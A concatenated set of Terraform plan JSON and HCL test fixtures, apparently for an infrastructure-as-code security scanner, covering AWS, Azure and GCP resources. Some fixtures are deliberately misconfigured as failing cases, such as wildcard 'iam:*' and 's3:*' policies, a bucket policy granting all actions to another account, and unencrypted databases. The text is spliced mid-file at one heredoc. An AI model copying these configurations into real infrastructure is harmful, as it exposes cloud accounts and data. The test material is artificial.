"security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } }, { "address":"data.aws_eks_cluster.cluster", "mode":"data", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0 } ] } }, "resource_changes":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } }, { "address":"data.aws_eks_cluster.cluster", "mode":"data", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "read" ], "before":null, "after":{ }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":true, "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "name":true, "platform_version":true, "role_arn":true, "status":true, "tags":true, "version":true, "vpc_config":true } } } ], "configuration":{ "root_module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 }, { "address":"data.aws_eks_cluster.cluster", "mode":"data", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"aws", "expressions":{ "name":{ "references":[ "aws_eks_cluster.cluster" ] } }, "schema_version":0 } ] } } } ================================================ FILE: tests/terraform/runner/resources/plan_root_module_resources_no_values/tfplan_route53.json ================================================ { "format_version": "1.0", "terraform_version": "1.1.5", "planned_values": { "root_module": { "resources": [ { "address": "aws_cloudwatch_log_group.aws_route53_example_com", "mode": "managed", "type": "aws_cloudwatch_log_group", "name": "aws_route53_example_com", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "kms_key_id": null, "name": "/aws/route53/example.com", "name_prefix": null, "retention_in_days": 30, "tags": null }, "sensitive_values": { "tags_all": {} } }, { "address": "aws_cloudwatch_log_resource_policy.route53-query-logging-policy", "mode": "managed", "type": "aws_cloudwatch_log_resource_policy", "name": "route53-query-logging-policy", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "policy_document": "{\"Statement\":[{\"Action\":[\"logs:PutLogEvents\",\"logs:CreateLogStream\"],\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"route53.amazonaws.com\"},\"Resource\":\"arn:aws:logs:*:*:log-group:/aws/route53/*\",\"Sid\":\"\"}],\"Version\":\"2012-10-17\"}", "policy_name": "route53-query-logging-policy" }, "sensitive_values": {} }, { "address": "aws_route53_query_log.example_com", "mode": "managed", "type": "aws_route53_query_log", "name": "example_com", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "sensitive_values": {} }, { "address": "aws_route53_zone.example_com", "mode": "managed", "type": "aws_route53_zone", "name": "example_com", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "comment": "Managed by Terraform", "delegation_set_id": null, "force_destroy": false, "name": "example.com", "tags": null, "vpc": [] }, "sensitive_values": { "name_servers": [], "tags_all": {}, "vpc": [] } } ] } }, "resource_changes": [ { "address": "aws_cloudwatch_log_group.aws_route53_example_com", "mode": "managed", "type": "aws_cloudwatch_log_group", "name": "aws_route53_example_com", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "kms_key_id": null, "name": "/aws/route53/example.com", "name_prefix": null, "retention_in_days": 30, "tags": null }, "after_unknown": { "arn": true, "id": true, "tags_all": true }, "before_sensitive": false, "after_sensitive": { "tags_all": {} } } }, { "address": "aws_cloudwatch_log_resource_policy.route53-query-logging-policy", "mode": "managed", "type": "aws_cloudwatch_log_resource_policy", "name": "route53-query-logging-policy", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_document": "{\"Statement\":[{\"Action\":[\"logs:PutLogEvents\",\"logs:CreateLogStream\"],\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"route53.amazonaws.com\"},\"Resource\":\"arn:aws:logs:*:*:log-group:/aws/route53/*\",\"Sid\":\"\"}],\"Version\":\"2012-10-17\"}", "policy_name": "route53-query-logging-policy" }, "after_unknown": { "id": true }, "before_sensitive": false, "after_sensitive": {} } }, { "address": "aws_route53_query_log.example_com", "mode": "managed", "type": "aws_route53_query_log", "name": "example_com", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": {}, "after_unknown": { "arn": true, "cloudwatch_log_group_arn": true, "id": true, "zone_id": true }, "before_sensitive": false, "after_sensitive": {} } }, { "address": "aws_route53_zone.example_com", "mode": "managed", "type": "aws_route53_zone", "name": "example_com", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "comment": "Managed by Terraform", "delegation_set_id": null, "force_destroy": false, "name": "example.com", "tags": null, "vpc": [] }, "after_unknown": { "arn": true, "id": true, "name_servers": true, "tags_all": true, "vpc": [], "zone_id": true }, "before_sensitive": false, "after_sensitive": { "name_servers": [], "tags_all": {}, "vpc": [] } } } ], "prior_state": { "format_version": "1.0", "terraform_version": "1.1.5", "values": { "root_module": { "resources": [ { "address": "data.aws_iam_policy_document.route53-query-logging-policy", "mode": "data", "type": "aws_iam_policy_document", "name": "route53-query-logging-policy", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "id": "1584671853", "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"logs:PutLogEvents\",\n \"logs:CreateLogStream\"\n ],\n \"Resource\": \"arn:aws:logs:*:*:log-group:/aws/route53/*\",\n \"Principal\": {\n \"Service\": \"route53.amazonaws.com\"\n }\n }\n ]\n}", "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "logs:CreateLogStream", "logs:PutLogEvents" ], "condition": [], "effect": "Allow", "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ "route53.amazonaws.com" ], "type": "Service" } ], "resources": [ "arn:aws:logs:*:*:log-group:/aws/route53/*" ], "sid": "" } ], "version": "2012-10-17" }, "sensitive_values": { "statement": [ { "actions": [ false, false ], "condition": [], "not_actions": [], "not_principals": [], "not_resources": [], "principals": [ { "identifiers": [ false ] } ], "resources": [ false ] } ] } } ] } } }, "configuration": { "provider_config": { "aws.us-east-1": { "name": "aws", "alias": "us-east-1", "expressions": { "profile": { "constant_value": "dev" }, "region": { "constant_value": "us-east-1" } } } }, "root_module": { "resources": [ { "address": "aws_cloudwatch_log_group.aws_route53_example_com", "mode": "managed", "type": "aws_cloudwatch_log_group", "name": "aws_route53_example_com", "provider_config_key": "aws.us-east-1", "expressions": { "name": { "references": [ "aws_route53_zone.example_com.name", "aws_route53_zone.example_com" ] }, "retention_in_days": { "constant_value": 30 } }, "schema_version": 0 }, { "address": "aws_cloudwatch_log_resource_policy.route53-query-logging-policy", "mode": "managed", "type": "aws_cloudwatch_log_resource_policy", "name": "route53-query-logging-policy", "provider_config_key": "aws.us-east-1", "expressions": { "policy_document": { "references": [ "data.aws_iam_policy_document.route53-query-logging-policy.json", "data.aws_iam_policy_document.route53-query-logging-policy" ] }, "policy_name": { "constant_value": "route53-query-logging-policy" } }, "schema_version": 0 }, { "address": "aws_route53_query_log.example_com", "mode": "managed", "type": "aws_route53_query_log", "name": "example_com", "provider_config_key": "aws", "expressions": { "cloudwatch_log_group_arn": { "references": [ "aws_cloudwatch_log_group.aws_route53_example_com.arn", "aws_cloudwatch_log_group.aws_route53_example_com" ] }, "zone_id": { "references": [ "aws_route53_zone.example_com.zone_id", "aws_route53_zone.example_com" ] } }, "schema_version": 0, "depends_on": [ "aws_cloudwatch_log_resource_policy.route53-query-logging-policy" ] }, { "address": "aws_route53_zone.example_com", "mode": "managed", "type": "aws_route53_zone", "name": "example_com", "provider_config_key": "aws", "expressions": { "name": { "constant_value": "example.com" } }, "schema_version": 0 }, { "address": "data.aws_iam_policy_document.route53-query-logging-policy", "mode": "data", "type": "aws_iam_policy_document", "name": "route53-query-logging-policy", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "logs:CreateLogStream", "logs:PutLogEvents" ] }, "principals": [ { "identifiers": { "constant_value": [ "route53.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "constant_value": [ "arn:aws:logs:*:*:log-group:/aws/route53/*" ] } } ] }, "schema_version": 0 } ] } } } ================================================ FILE: tests/terraform/runner/resources/plan_with_child_modules/tfplan.json ================================================ { "format_version": "0.1", "terraform_version": "0.12.28", "planned_values": { "root_module": { "child_modules": [ { "resources": [ { "address": "module.iam_groups.aws_iam_account_password_policy.main", "mode": "managed", "type": "aws_iam_account_password_policy", "name": "main", "provider_name": "aws", "schema_version": 0, "values": { "allow_users_to_change_password": true, "hard_expiry": true, "max_password_age": 300, "minimum_password_length": 10, "password_reuse_prevention": 5, "require_lowercase_characters": true, "require_numbers": true, "require_symbols": true, "require_uppercase_characters": true } } ], "address": "module.iam_groups" } ] } }, "resource_changes": [ { "address": "module.iam_groups.aws_iam_account_password_policy.main", "module_address": "module.iam_groups", "mode": "managed", "type": "aws_iam_account_password_policy", "name": "main", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "allow_users_to_change_password": true, "hard_expiry": true, "max_password_age": 300, "minimum_password_length": 10, "password_reuse_prevention": 5, "require_lowercase_characters": true, "require_numbers": true, "require_symbols": true, "require_uppercase_characters": true }, "after_unknown": { "expire_passwords": true, "id": true } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "region": { "constant_value": "eu-west-1" } } } }, "root_module": { "module_calls": { "iam_groups": { "source": "../../modules/iam-user-password-policy", "expressions": { "allow_users_to_change_password": { "constant_value": true }, "hard_expiry": { "constant_value": true }, "max_password_age": { "constant_value": 300 }, "minimum_password_length": { "constant_value": 10 }, "password_reuse_prevention": { "constant_value": 5 }, "require_lowercase_characters": { "constant_value": true }, "require_numbers": { "constant_value": true }, "require_symbols": { "constant_value": true }, "require_uppercase_characters": { "constant_value": true } }, "module": { "resources": [ { "address": "aws_iam_account_password_policy.main", "mode": "managed", "type": "aws_iam_account_password_policy", "name": "main", "provider_config_key": "iam_groups:aws", "expressions": { "allow_users_to_change_password": { "references": [ "var.allow_users_to_change_password" ] }, "hard_expiry": { "references": [ "var.hard_expiry" ] }, "max_password_age": { "references": [ "var.max_password_age" ] }, "minimum_password_length": { "references": [ "var.minimum_password_length" ] }, "password_reuse_prevention": { "references": [ "var.password_reuse_prevention" ] }, "require_lowercase_characters": { "references": [ "var.require_lowercase_characters" ] }, "require_numbers": { "references": [ "var.require_numbers" ] }, "require_symbols": { "references": [ "var.require_symbols" ] }, "require_uppercase_characters": { "references": [ "var.require_uppercase_characters" ] } }, "schema_version": 0 } ], "variables": { "allow_users_to_change_password": { "default": true, "description": "Whether to allow users to change their own password (true or false)." }, "hard_expiry": { "default": true, "description": "Whether users are prevented from setting a new password after their password has expired (i.e. require administrator reset) (true or false)." }, "max_password_age": { "default": 0, "description": "The number of days that an user password is valid. Enter 0 for no expiration." }, "minimum_password_length": { "default": 16, "description": "Minimum length to require for user passwords." }, "password_reuse_prevention": { "default": 5, "description": "The number of previous passwords that users are prevented from reusing." }, "require_lowercase_characters": { "default": true, "description": "Whether to require lowercase characters for user passwords (true or false)." }, "require_numbers": { "default": true, "description": "Whether to require numbers for user passwords (true or false)." }, "require_symbols": { "default": true, "description": "Whether to require symbols for user passwords (true or false)." }, "require_uppercase_characters": { "default": true, "description": "Whether to require uppercase characters for user passwords (true or false)." } } } } } } } } ================================================ FILE: tests/terraform/runner/resources/plan_with_deleted_resources/tfplan.json ================================================ { "format_version": "1.1", "terraform_version": "1.2.4", "planned_values": { "root_module": { "resources": [ { "address": "aws_secretsmanager_secret.default", "mode": "managed", "type": "aws_secretsmanager_secret", "name": "default", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": null, "force_overwrite_replica_secret": false, "kms_key_id": null, "name": "test", "recovery_window_in_days": 30, "tags": null }, "sensitive_values": { "replica": [], "rotation_rules": [], "tags_all": {} } } ] } }, "resource_changes": [ { "address": "aws_secretsmanager_secret.default", "mode": "managed", "type": "aws_secretsmanager_secret", "name": "default", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create", "delete" ], "before": null, "after": { "description": null, "force_overwrite_replica_secret": false, "kms_key_id": null, "name": "test", "recovery_window_in_days": 30, "tags": null }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "policy": true, "replica": true, "rotation_enabled": true, "rotation_lambda_arn": true, "rotation_rules": true, "tags_all": true }, "before_sensitive": false, "after_sensitive": { "replica": [], "rotation_rules": [], "tags_all": {} } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "full_name": "registry.terraform.io/hashicorp/aws", "expressions": { "profile": { "constant_value": "dev2" }, "region": { "constant_value": "us-west-2" } } } }, "root_module": { "resources": [ { "address": "aws_secretsmanager_secret.default", "mode": "managed", "type": "aws_secretsmanager_secret", "name": "default", "provider_config_key": "aws", "expressions": { "name": { "constant_value": "test" } }, "schema_version": 0 } ] } } } ================================================ FILE: tests/terraform/runner/resources/plan_with_iam_data_block/main.tf ================================================ # HCL file added for easier way to re-create the plan file resource "aws_s3_bucket" "example" { bucket = "my-tf-test-bucket" } resource "aws_s3_bucket_policy" "allow_access_from_another_account" { bucket = aws_s3_bucket.example.id policy = data.aws_iam_policy_document.allow_access_from_another_account.json } data "aws_iam_policy_document" "allow_access_from_another_account" { statement { principals { type = "AWS" identifiers = ["123456789012"] } actions = ["*"] resources = [ aws_s3_bucket.example.arn, "${aws_s3_bucket.example.arn}/*", ] } } ================================================ FILE: tests/terraform/runner/resources/plan_with_iam_data_block/tfplan.json ================================================ { "format_version": "1.1", "terraform_version": "1.3.9", "planned_values": { "root_module": { "resources": [ { "address": "aws_s3_bucket.example", "mode": "managed", "type": "aws_s3_bucket", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "my-tf-test-bucket", "bucket_prefix": null, "force_destroy": false, "tags": null, "timeouts": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "aws_s3_bucket_policy.allow_access_from_another_account", "mode": "managed", "type": "aws_s3_bucket_policy", "name": "allow_access_from_another_account", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "sensitive_values": {} }, { "address": "data.aws_iam_policy_document.allow_access_from_another_account", "mode": "data", "type": "aws_iam_policy_document", "name": "allow_access_from_another_account", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "*" ], "condition": [], "effect": null, "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ "*" ], "type": "AWS" } ], "resources": [ null, null ], "sid": null } ], "version": null }, "sensitive_values": { "statement": [ { "actions": [ false ], "condition": [], "not_principals": [], "principals": [ { "identifiers": [ false ] } ], "resources": [ false, false ] } ] } } ] } }, "resource_changes": [ { "address": "aws_s3_bucket.example", "mode": "managed", "type": "aws_s3_bucket", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "bucket": "my-tf-test-bucket", "bucket_prefix": null, "force_destroy": false, "tags": null, "timeouts": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "object_lock_enabled": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "aws_s3_bucket_policy.allow_access_from_another_account", "mode": "managed", "type": "aws_s3_bucket_policy", "name": "allow_access_from_another_account", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": {}, "after_unknown": { "bucket": true, "id": true, "policy": true }, "before_sensitive": false, "after_sensitive": {} } }, { "address": "data.aws_iam_policy_document.allow_access_from_another_account", "mode": "data", "type": "aws_iam_policy_document", "name": "allow_access_from_another_account", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "read" ], "before": null, "after": { "override_json": null, "override_policy_documents": null, "policy_id": null, "source_json": null, "source_policy_documents": null, "statement": [ { "actions": [ "*" ], "condition": [], "effect": null, "not_actions": null, "not_principals": [], "not_resources": null, "principals": [ { "identifiers": [ "123456789012" ], "type": "AWS" } ], "resources": [ null, null ], "sid": null } ], "version": null }, "after_unknown": { "id": true, "json": true, "statement": [ { "actions": [ false ], "condition": [], "not_principals": [], "principals": [ { "identifiers": [ false ] } ], "resources": [ true, true ] } ] }, "before_sensitive": false, "after_sensitive": { "statement": [ { "actions": [ false ], "condition": [], "not_principals": [], "principals": [ { "identifiers": [ false ] } ], "resources": [ false, false ] } ] } }, "action_reason": "read_because_config_unknown" } ], "configuration": { "provider_config": { "aws": { "name": "aws", "full_name": "registry.terraform.io/hashicorp/aws", "expressions": { "profile": { "constant_value": "dev2" }, "region": { "constant_value": "us-east-2" } } } }, "root_module": { "resources": [ { "address": "aws_s3_bucket.example", "mode": "managed", "type": "aws_s3_bucket", "name": "example", "provider_config_key": "aws", "expressions": { "bucket": { "constant_value": "my-tf-test-bucket" } }, "schema_version": 0 }, { "address": "aws_s3_bucket_policy.allow_access_from_another_account", "mode": "managed", "type": "aws_s3_bucket_policy", "name": "allow_access_from_another_account", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.example.id", "aws_s3_bucket.example" ] }, "policy": { "references": [ "data.aws_iam_policy_document.allow_access_from_another_account.json", "data.aws_iam_policy_document.allow_access_from_another_account" ] } }, "schema_version": 0 }, { "address": "data.aws_iam_policy_document.allow_access_from_another_account", "mode": "data", "type": "aws_iam_policy_document", "name": "allow_access_from_another_account", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "*" ] }, "principals": [ { "identifiers": { "constant_value": [ "123456789012" ] }, "type": { "constant_value": "AWS" } } ], "resources": { "references": [ "aws_s3_bucket.example.arn", "aws_s3_bucket.example", "aws_s3_bucket.example.arn", "aws_s3_bucket.example" ] } } ] }, "schema_version": 0 } ] } }, "relevant_attributes": [ { "resource": "aws_s3_bucket.example", "attribute": [ "arn" ] }, { "resource": "aws_s3_bucket.example", "attribute": [ "id" ] }, { "resource": "data.aws_iam_policy_document.allow_access_from_another_account", "attribute": [ "json" ] } ] } ================================================ FILE: tests/terraform/runner/resources/plan_with_iam_policies/main.tf ================================================ # HCL file added for easier way to re-create the plan file provider "aws" { region = "us-west-2" profile = "dev2" } resource "aws_iam_policy" "policy_pass" { name = "policy_pass" path = "/" policy = jsonencode({ "Version": "2012-10-17", "Statement": [ { "Action": "s3:*", "Effect": "Allow", "Resource": "*" } ] }) } resource "aws_iam_role" "example" { assume_role_policy = jsonencode({ Version = "2012-10-17" Statement = [{ Effect = "Allow" Action = "sts:AssumeRole" Principal = { Service = "lambda.amazonaws.com" } }] }) } resource "aws_iam_role_policy" "fail_1" { name = "example" role = aws_iam_role.example.id policy = data.aws_iam_policy_document.fail_1.json } data "aws_iam_policy_document" "fail_1" { statement { effect = "Allow" actions = [ "iam:*" ] resources = ["*"] } } resource "aws_iam_group" "fail_2" { name = "example" } resource "aws_iam_group_policy" "fail_2" { name = "example" group = aws_iam_group.fail_2.name policy = <= 3.36.0", "expressions": { "features": [ { "key_vault": [ { "purge_soft_delete_on_destroy": { "constant_value": true } } ] } ] } } }, "root_module": { "resources": [ { "address": "azurerm_network_security_group.fail", "mode": "managed", "type": "azurerm_network_security_group", "name": "fail", "provider_config_key": "azurerm", "expressions": { "location": { "references": [ "azurerm_resource_group.test.location", "azurerm_resource_group.test" ] }, "name": { "constant_value": "fail" }, "resource_group_name": { "references": [ "azurerm_resource_group.test.name", "azurerm_resource_group.test" ] } }, "schema_version": 0 }, { "address": "azurerm_network_security_group.pass", "mode": "managed", "type": "azurerm_network_security_group", "name": "pass", "provider_config_key": "azurerm", "expressions": { "location": { "references": [ "azurerm_resource_group.test.location", "azurerm_resource_group.test" ] }, "name": { "constant_value": "pass" }, "resource_group_name": { "references": [ "azurerm_resource_group.test.name", "azurerm_resource_group.test" ] } }, "schema_version": 0 }, { "address": "azurerm_network_security_rule.pass", "mode": "managed", "type": "azurerm_network_security_rule", "name": "pass", "provider_config_key": "azurerm", "expressions": { "access": { "constant_value": "Deny" }, "destination_address_prefix": { "constant_value": "*" }, "destination_port_range": { "constant_value": "3389" }, "direction": { "constant_value": "Inbound" }, "name": { "constant_value": "pass" }, "network_security_group_name": { "references": [ "azurerm_network_security_group.pass.name", "azurerm_network_security_group.pass" ] }, "priority": { "constant_value": 100 }, "protocol": { "constant_value": "Tcp" }, "resource_group_name": { "references": [ "azurerm_resource_group.test.name", "azurerm_resource_group.test" ] }, "source_address_prefix": { "constant_value": "*" }, "source_port_range": { "constant_value": "*" } }, "schema_version": 0 }, { "address": "azurerm_resource_group.test", "mode": "managed", "type": "azurerm_resource_group", "name": "test", "provider_config_key": "azurerm", "expressions": { "location": { "constant_value": "Canada Central" }, "name": { "constant_value": "test" } }, "schema_version": 0 } ] } }, "relevant_attributes": [ { "resource": "azurerm_resource_group.test", "attribute": [ "location" ] }, { "resource": "azurerm_resource_group.test", "attribute": [ "name" ] }, { "resource": "azurerm_network_security_group.pass", "attribute": [ "name" ] } ] } ================================================ FILE: tests/terraform/runner/resources/plan_with_resource_reference/tfplan_graph.json ================================================ { "format_version": "0.2", "terraform_version": "1.0.11", "planned_values": { "root_module": { "resources": [ { "address": "aws_s3_bucket.example", "mode": "managed", "type": "aws_s3_bucket", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "arn": "arn:aws:s3:::example", "bucket": "example", "bucket_domain_name": "example.s3.amazonaws.com", "bucket_regional_domain_name": "example.s3.amazonaws.com", "id": "example", "object_lock_configuration": [ { "object_lock_enabled": "Enabled", "rule": [ { "default_retention": [ { "days": 7, "mode": "COMPLIANCE", "years": 0 } ] } ] } ], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "kms_master_key_id": "", "sse_algorithm": "AES256" } ], "bucket_key_enabled": false } ] } ] }, "sensitive_values": { "object_lock_configuration": [ { "rule": [ { "default_retention": [ {} ] } ] } ], "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ {} ] } ] } ], "versioning": [ {} ] } }, { "address": "aws_s3_bucket_public_access_block.example", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": true, "block_public_policy": true, "bucket": "example", "id": "example", "ignore_public_acls": true, "restrict_public_buckets": true }, "sensitive_values": {} } ] } }, "configuration": { "provider_config": { "aws": { "name": "aws", "version_constraint": "~> 3.50.0" } }, "root_module": { "resources": [ { "address": "aws_s3_bucket.example", "mode": "managed", "type": "aws_s3_bucket", "name": "example", "provider_config_key": "aws", "expressions": { "acl": { "constant_value": "log-delivery-write" }, "bucket": { "constant_value": "example" }, "object_lock_configuration": [ { "object_lock_enabled": { "constant_value": "Enabled" }, "rule": [ { "default_retention": [ { "days": { "constant_value": 7 }, "mode": { "constant_value": "COMPLIANCE" } } ] } ] } ], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": { "references": [ "var.s3_defaults.sse_algorithm", "var.s3_defaults" ] } } ] } ] } ] }, "schema_version": 0 }, { "address": "aws_s3_bucket_public_access_block.example", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "example", "provider_config_key": "aws", "expressions": { "block_public_acls": { "constant_value": true }, "block_public_policy": { "constant_value": true }, "bucket": { "references": [ "aws_s3_bucket.example.id", "aws_s3_bucket.example" ] }, "ignore_public_acls": { "constant_value": true }, "restrict_public_buckets": { "constant_value": true } }, "schema_version": 0 } ] } } } ================================================ FILE: tests/terraform/runner/resources/provider_blocks/main.tf ================================================ provider "aws" { alias = "provider_check_1" region = "us-west-1" } provider "aws" { alias = "provider_check_2" region = "ap-northeast-2" } provider "aws" { alias = "provider_check_3" region = "ap-northeast-2" default_tags { tags = { Environment = "Test" Name = "Provider Tag" } } } provider "aws" { alias = "provider_check_4" region = "ap-northeast-2" default_tags { } } provider "aws" { alias = "provider_check_5" } ================================================ FILE: tests/terraform/runner/resources/py_graph_check/main.tf ================================================ provider "aws" { use_fips_endpoint = true } resource "aws_db_instance" "storage_encrypted_enabled" { name = "name" engine = "mysql" instance_class = "db.t3.micro" storage_encrypted = true } resource "aws_db_instance" "default_connected_to_provider_with_fips" { name = "name" engine = "mysql" instance_class = "db.t3.micro" provider = "aws" } # Fail resource "aws_db_instance" "default" { name = "name" engine = "mysql" instance_class = "db.t3.micro" } resource "aws_db_instance" "disabled" { name = "name" engine = "mysql" instance_class = "db.t3.micro" storage_encrypted = False } ================================================ FILE: tests/terraform/runner/resources/py_graph_check_tf_plan/py_graph_check_paln.json ================================================ { "format_version": "0.1", "terraform_version": "0.13.7", "planned_values": { "root_module": { "resources": [ { "address": "google_compute_network.achia_test_nonpeered_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_nonpeered_network", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-nonpeered-network", "timeouts": null } }, { "address": "google_compute_network.achia_test_peered_nonwss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_nonwss_network", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-nonwss-network", "timeouts": null } }, { "address": "google_compute_network.achia_test_peered_wss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_wss_network", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-wss-network", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-nonwss", "network": "https://www.achia.com11111", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_wss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-wss", "network": "https://www.achia.com11111", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-nonwss", "peer_network": "https://www.achia.com11111", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_wss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-wss", "peer_network": "https://www.achia.com11111", "timeouts": null } } ], "child_modules": [ { "resources": [ { "address": "module.achia_test_valid_443.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [ "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", 